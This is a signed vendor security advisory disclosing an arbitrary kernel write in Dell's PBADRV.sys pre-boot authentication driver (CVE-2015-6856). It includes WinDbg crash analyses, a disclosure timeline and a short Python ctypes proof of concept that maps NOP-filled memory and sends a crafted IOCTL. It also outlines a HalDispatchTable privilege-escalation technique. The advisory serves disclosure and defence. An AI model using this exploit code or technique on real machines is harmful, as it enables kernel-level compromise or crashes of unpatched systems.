-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 KL-001-2015-008 : Dell Pre-Boot Authentication Driver Uncontrolled Write to Arbitrary Address Title: Dell Pre-Boot Authentication Driver Uncontrolled Write to Arbitrary Address Advisory ID: KL-001-2015-008 Publication Date: 2015.12.18 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-008.txt 1. Vulnerability Details Affected Vendor: Dell Affected Product: Pre-Boot Authentication Driver Affected Version: 1.0.1.5 Platform: Microsoft Windows XP SP3, Microsoft Windows 2003 SP2, Microsoft Windows 7 CWE Classification: CWE-20: Improper input validation Impact: Arbitrary Code Execution Attack vector: IOCTL CVE-ID: CVE-2015-6856 2. Vulnerability Description The Dell Pre-Boot Authentication Driver (PBADRV.sys) contains a vulnerability that can be leveraged to enable an attacker to write arbitrary code. The 'OutputAddress' from the IOCTL call is not validated before it attempts to write to memory. The content of the write is a four-byte hex value that is always greater than that of the kernel base address. Using multiple writes, it may be possible to overwrite the first entry of HalDispatchTable in a way that the entry would point to a user-land address. An attacker need only allocate shellcode at said address and call the ntdll!NtQueryIntervalProfile() function. 3. Technical Description Example against Windows XP: Microsoft (R) Windows Debugger Version 6.12.0002.633 X86 Copyright (c) Microsoft Corporation. All rights reserved. Loading Dump File [C:\WINXP\MEMORY.DMP] Kernel Complete Dump File: Full address space is available Symbol search path is: srv* Executable search path is: Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 2600.xpsp_sp3_qfe.101209-1646 Machine Name: Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0 Debug session time: Tue Feb 3 05:41:17.712 2015 (UTC - 8:00) System Uptime: 0 days 0:03:46.296 Loading Kernel Symbols .... kd> !analyze -v READ_ADDRESS: 909090d4 FAULTING_IP: +2902faf00efdfc0 00000008 8b4044 mov eax,dword ptr [eax+44h] MM_INTERNAL_CODE: 0 DEFAULT_BUCKET_ID: DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: pythonw.exe TRAP_FRAME: b24bdc8c -- (.trap 0xffffffffb24bdc8c) ErrCode = 00000000 eax=90909090 ebx=8060ea01 ecx=00000000 edx=0021f7f0 esi=012c1be8 edi=b24bdd64 eip=00000008 esp=b24bdd00 ebp=b24bdd20 iopl=0 nv up ei ng nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 00000008 8b4044 mov eax,dword ptr [eax+44h] ds:0023:909090d4=???????? Resetting default scope LAST_CONTROL_TRANSFER: from 8051cc7f to 804f8cc5 STACK_TEXT: b24bdc14 8051cc7f 00000050 909090d4 00000000 nt!KeBugCheckEx+0x1b b24bdc74 805405d4 00000000 909090d4 00000000 nt!MmAccessFault+0x8e7 b24bdc74 00000008 00000000 909090d4 00000000 nt!KiTrap0E+0xcc WARNING: Frame IP not in any known module. Following frames may be wrong. b24bdcfc 8063d5cd 00000001 0000000c b24bdd14 0x8 b24bdd20 8060eb43 00000002 b24bdd64 0021f7f8 nt!KeQueryIntervalProfile+0x37 b24bdd54 8053d6d8 00000002 012c1be8 0021f7fc nt!NtQueryIntervalProfile+0x61 b24bdd54 7c90e514 00000002 012c1be8 0021f7fc nt!KiFastCallEntry+0xf8 0021f7e4 7c90d84a 1d1add9a 00000002 012c1be8 ntdll!KiFastSystemCallRet 0021f7e8 1d1add9a 00000002 012c1be8 0021f89c ntdll!NtQueryIntervalProfile+0xc 0021f7fc 1d1acab6 1d1ac900 0021f81c 00000008 _ctypes!DllCanUnloadNow+0x5b6a 0021f82c 1d1a8db8 7c90d83e 0021f920 24f7d09f _ctypes!DllCanUnloadNow+0x4886 0021f8dc 1d1a959e 00001100 7c90d83e 0021f910 _ctypes!DllCanUnloadNow+0xb88 0021f984 1d1a54d8 7c90d83e 012d4300 00000000 _ctypes!DllCanUnloadNow+0x136e 0021f9dc 1e07cf0c 00000000 012d4300 00000000 _ctypes+0x54d8 00000000 00000000 5044408b 000004bb 88808b00 python27!PyObject_Call+0x4c STACK_COMMAND: kb FOLLOWUP_IP: nt!KiTrap0E+cc 805405d4 85c0 test eax,eax SYMBOL_STACK_INDEX: 2 SYMBOL_NAME: nt!KiTrap0E+cc FOLLOWUP_NAME: MachineOwner MODULE_NAME: nt IMAGE_NAME: ntkrnlpa.exe DEBUG_FLR_IMAGE_TIMESTAMP: 4d00d4fb FAILURE_BUCKET_ID: 0x50_nt!KiTrap0E+cc BUCKET_ID: 0x50_nt!KiTrap0E+cc Followup: MachineOwner --------- Example against Windows 7: Microsoft (R) Windows Debugger Version 6.3.9600.17298 X86 Copyright (c) Microsoft Corporation. All rights reserved. Loading Dump File [C:\Users\dev\Desktop\Mini091715-01.dmp] Mini Kernel Dump File: Only registers and stack trace are available Symbol search path is: *** Invalid *** **************************************************************************** * Symbol loading may be unreliable without a symbol search path. * * Use .symfix to have the debugger choose a symbol path. * * After setting your symbol path, use .reload to refresh symbol locations. * **************************************************************************** Executable search path is: ********************************************************************* * Symbols can not be loaded because symbol path is not initialized. * * * * The Symbol Path can be set by: * * using the _NT_SYMBOL_PATH environment variable. * * using the -y argument when starting the debugger. * * using .sympath and .sympath+ * ********************************************************************* Unable to load image \WINDOWS\system32\ntkrnlpa.exe, Win32 error 0n2 *** WARNING: Unable to verify timestamp for ntkrnlpa.exe *** ERROR: Module load completed but symbols could not be loaded for ntkrnlpa.exe Windows Server 2003 Kernel Version 3790 (Service Pack 2) UP Free x86 compatible Product: Server, suite: Enterprise TerminalServer SingleUserTS Machine Name: Kernel base = 0x80800000 PsLoadedModuleList = 0x808a1fe8 Debug session time: Thu Sep 17 08:21:15.962 2015 (UTC - 7:00) System Uptime: 0 days 0:10:19.785 ********************************************************************* * Symbols can not be loaded because symbol path is not initialized. * * * * The Symbol Path can be set by: * * using the _NT_SYMBOL_PATH environment variable. * * using the -y argument when starting the debugger. * * using .sympath and .sympath+ * ********************************************************************* Unable to load image \WINDOWS\system32\ntkrnlpa.exe, Win32 error 0n2 *** WARNING: Unable to verify timestamp for ntkrnlpa.exe *** ERROR: Module load completed but symbols could not be loaded for ntkrnlpa.exe Loading Kernel Symbols ............................................................... ............................................................ Loading User Symbols Loading unloaded module list .. ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* Use !analyze -v to get detailed debugging information. BugCheck 50, {ffffffff, 1, 80820de3, 0} ***** Kernel symbols are WRONG. Please fix symbols to do analysis. ************************************************************************* *** WARNING: Unable to verify timestamp for hal.dll *** ERROR: Module load completed but symbols could not be loaded for hal.dll *** WARNING: Unable to verify timestamp for PBADRV.sys *** ERROR: Module load completed but symbols could not be loaded for PBADRV.sys *** WARNING: Unable to verify timestamp for srv.sys *** ERROR: Module load completed but symbols could not be loaded for srv.sys ************************************************************************* Probably caused by : PBADRV.sys ( PBADRV+13a0 ) Followup: MachineOwner --------- kd> .symfix;.reload Loading Kernel Symbols ............................................................... ............................................................ Loading User Symbols Loading unloaded module list .. kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffffffff, memory referenced. Arg2: 00000001, value 0 = read operation, 1 = write operation. Arg3: 80820de3, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) Debugging Details: ------------------ Could not read faulting driver name Unable to load image \??\C:\Documents and Settings\Administrator\Desktop\PBADRV.sys, Win32 error 0n2 *** WARNING: Unable to verify timestamp for PBADRV.sys *** ERROR: Module load completed but symbols could not be loaded for PBADRV.sys WRITE_ADDRESS: GetPointerFromAddress: unable to read from 808a1df0 GetPointerFromAddress: unable to read from 808a1de8 GetUlongFromAddress: unable to read from 808a67f8 ffffffff FAULTING_IP: nt!IopCompleteRequest+97 80820de3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] MM_INTERNAL_CODE: 0 CUSTOMER_CRASH_COUNT: 1 DEFAULT_BUCKET_ID: DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: python.exe CURRENT_IRQL: 1 ANALYSIS_VERSION: 6.3.9600.17336 (debuggers(dbg).150226-1500) x86fre IRP_ADDRESS: 87c57378 TRAP_FRAME: ba456a6c -- (.trap 0xffffffffba456a6c) ErrCode = 00000002 eax=00000004 ebx=87c57378 ecx=00000001 edx=00000000 esi=88064e50 edi=ffffffff eip=80820de3 esp=ba456ae0 ebp=ba456b24 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 nt!IopCompleteRequest+0x97: 80820de3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] Resetting default scope LAST_CONTROL_TRANSFER: from 8085b93b to 80827109 STACK_TEXT: ba4569e0 8085b93b 00000050 ffffffff 00000001 nt!KeBugCheckEx+0x1b ba456a54 808885d8 00000001 ffffffff 00000000 nt!MmAccessFault+0xa91 ba456a54 80820de3 00000001 ffffffff 00000000 nt!KiTrap0E+0xd8 ba456b24 8082cd9a 87c573b8 ba456b70 ba456b64 nt!IopCompleteRequest+0x97 ba456b74 80a59f1f 00000000 00000000 00000000 nt!KiDeliverApc+0xb8 ba456b94 80a5a153 ba456b01 00000000 87c573b8 hal!HalpDispatchSoftwareInterrupt+0x49 ba456bb0 80a5a1d0 00000001 ba456b00 ba456bd0 hal!HalpCheckForSoftwareInterrupt+0x81 ba456bc0 8082f793 00000000 ba456b00 ba456bf0 hal!KfLowerIrql+0x62 ba456bd0 80829939 87c573b8 87c57378 00000000 nt!KiExitDispatcher+0xd3 ba456bf0 8081daa5 87c573b8 87a0cb68 00000000 nt!KeInsertQueueApc+0x57 ba456c24 ba5423a0 87c57378 87cbb490 87c57378 nt!IopfCompleteRequest+0x201 WARNING: Stack unwind information not available. Following frames may be wrong. ba456c3c 8081d7d3 87d13c88 87c57378 87a0cb68 PBADRV+0x13a0 ba456c50 808ef85d 87c573e8 87a0cb68 87c57378 nt!IofCallDriver+0x45 ba456c64 808f05ff 87d13c88 87c57378 87a0cb68 nt!IopSynchronousServiceTail+0x10b ba456d00 808e912e 00000788 00000000 00000000 nt!IopXxxControlFile+0x5e5 ba456d34 80885614 00000788 00000000 00000000 nt!NtDeviceIoControlFile+0x2a ba456d34 7c82845c 00000788 00000000 00000000 nt!KiSystemServicePostCall 0021fa8c 00000000 00000000 00000000 00000000 0x7c82845c STACK_COMMAND: kb FOLLOWUP_IP: PBADRV+13a0 ba5423a0 ?? ??? SYMBOL_STACK_INDEX: b SYMBOL_NAME: PBADRV+13a0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: PBADRV IMAGE_NAME: PBADRV.sys DEBUG_FLR_IMAGE_TIMESTAMP: 478274de FAILURE_BUCKET_ID: 0x50_PBADRV+13a0 BUCKET_ID: 0x50_PBADRV+13a0 ANALYSIS_SOURCE: KM FAILURE_ID_HASH_STRING: km:0x50_pbadrv+13a0 FAILURE_ID_HASH: {7469b31a-ad45-6d57-5589-106dc943201e} Followup: MachineOwner --------- 4. Mitigation and Remediation Recommendation The vendor no longer supports this version, and no known remediation is available. 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2015.02.18 - KoreLogic sends vulnerability report and PoC to Dell. 2015.02.19 - Dell acknowledges receipt of vulnerability report. 2015.04.06 - KoreLogic contacts Dell for a progress update and directs Dell to KoreLogic's 45 business day disclosure timeline. 2015.04.07 - Dell requests additional time to develop remediation. 2015.04.07 - KoreLogic asks for an estimate of the timeline for remediation. 2015.04.09 - Dell responds to say they are unable to provide an estimate for the length of time to develop a mitigation or remediation strategy. 2015.04.27 - 45 business days have elapsed since the vulnerability was reported to Dell. 2015.07.01 - 90 business days have elapsed since the vulnerability was reported to Dell. 2015.08.13 - 120 business days have elapsed since the vulnerability was reported to Dell. 2015.09.10 - KoreLogic requests a CVE from Mitre. 2015.09.10 - Mitre issues CVE-2015-6856. 2015.09.11 - KoreLogic requests update from Dell. 2015.09.18 - Dell responds to say they are unable to provide an estimate for the length of time to develop a mitigation or remediation strategy. 2015.09.30 - 150 business days have elapsed since the vulnerability was reported to Dell. 2015.11.04 - KoreLogic notifies Dell the issue will be disclosed publicly in 10 business days. 2015.11.04 - Dell states they are working on a remediation and asks KoreLogic to continue to hold back public release. 2015.11.13 - 180 business days have elapsed since the vulnerability was reported to Dell. 2015.12.03 - Dell responds with the following statement: "The referenced software component is from an old version of Dell Data Protection | Authentication that has not been shipped for some time and is no longer supported. No software updates are planned at this time." 2015.12.18 - Public disclosure. 7. Proof of Concept ######################################################################## # # Copyright 2015 KoreLogic Inc., All Rights Reserved. # # This proof of concept, having been partly or wholly developed # and/or sponsored by KoreLogic, Inc., is hereby released under # the terms and conditions set forth in the Creative Commons # Attribution Share-Alike 4.0 (United States) License: # # http://creativecommons.org/licenses/by-sa/4.0/ # # # Author: Matt Bergin (KoreLogic / Smash the Stack) # # Purpose: Dell PBADRV.sys Privilege Escalation PoC XP SP3 # ######################################################################## from ctypes import byref, c_int, c_ulong, windll from sys import exit CreateFileA, NtAllocateVirtualMemory = windll.kernel32.CreateFileA, windll.ntdll.NtAllocateVirtualMemory WriteProcessMemory, DeviceIoControlFile = windll.kernel32.WriteProcessMemory, windll.ntdll.ZwDeviceIoControlFile CloseHandle = windll.kernel32.CloseHandle FILE_SHARE_READ, FILE_SHARE_WRITE, OPEN_EXISTING, NULL = 2, 1, 3, 0 handle = CreateFileA("\\\\.\\PBADRV", FILE_SHARE_WRITE | FILE_SHARE_READ, 0, None, OPEN_EXISTING, 0, None) NtAllocateVirtualMemory(-1, byref(c_int(0x1)), 0x0, byref(c_int(0xffff)), 0x1000 | 0x2000, 0x40) WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0))) DeviceIoControlFile(handle, NULL, NULL, NULL, byref(c_ulong(8)), 0x0022201c, 0x1, 0x258, 0x90909090, 0) # Fail CloseHandle(handle) exit(0) The contents of this advisory are copyright(c) 2015 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt -----BEGIN PGP SIGNATURE----- iQEcBAEBCAAGBQJWdH6HAAoJEE1lmiwOGYkMrhoIAI7ZlS5y2WOjAyHIBm5JOYyK P9qh2epHoBvTsb6bQf9GgkndZiFZQc0kMRJvHZhnqO8E+g92rAL7FRMAO3Or4AYM Mn4t47511V21ZjFNx+btuPPmrHRc3q2bdrj0FCWULHmhHxcbTwOT6zAL3O22AkI5 SD7QhuZqulOCuGW/RO9ai08FessnXzwO/MlpIebPyKLJVw/oNXuGmCaIOxbRUUY+ 49YVdJKzu9RgvGYraMAPzQ0Dg0p+ykEZYU2HK/IAa5toTB5O7SaC3bHXyiZfXh8a roVNpFagnsDTIF2mxPD5w/udxB37vmgyC6V7BsjZE95onjqmLI0IcH8uWOf3r8I= =Slas -----END PGP SIGNATURE-----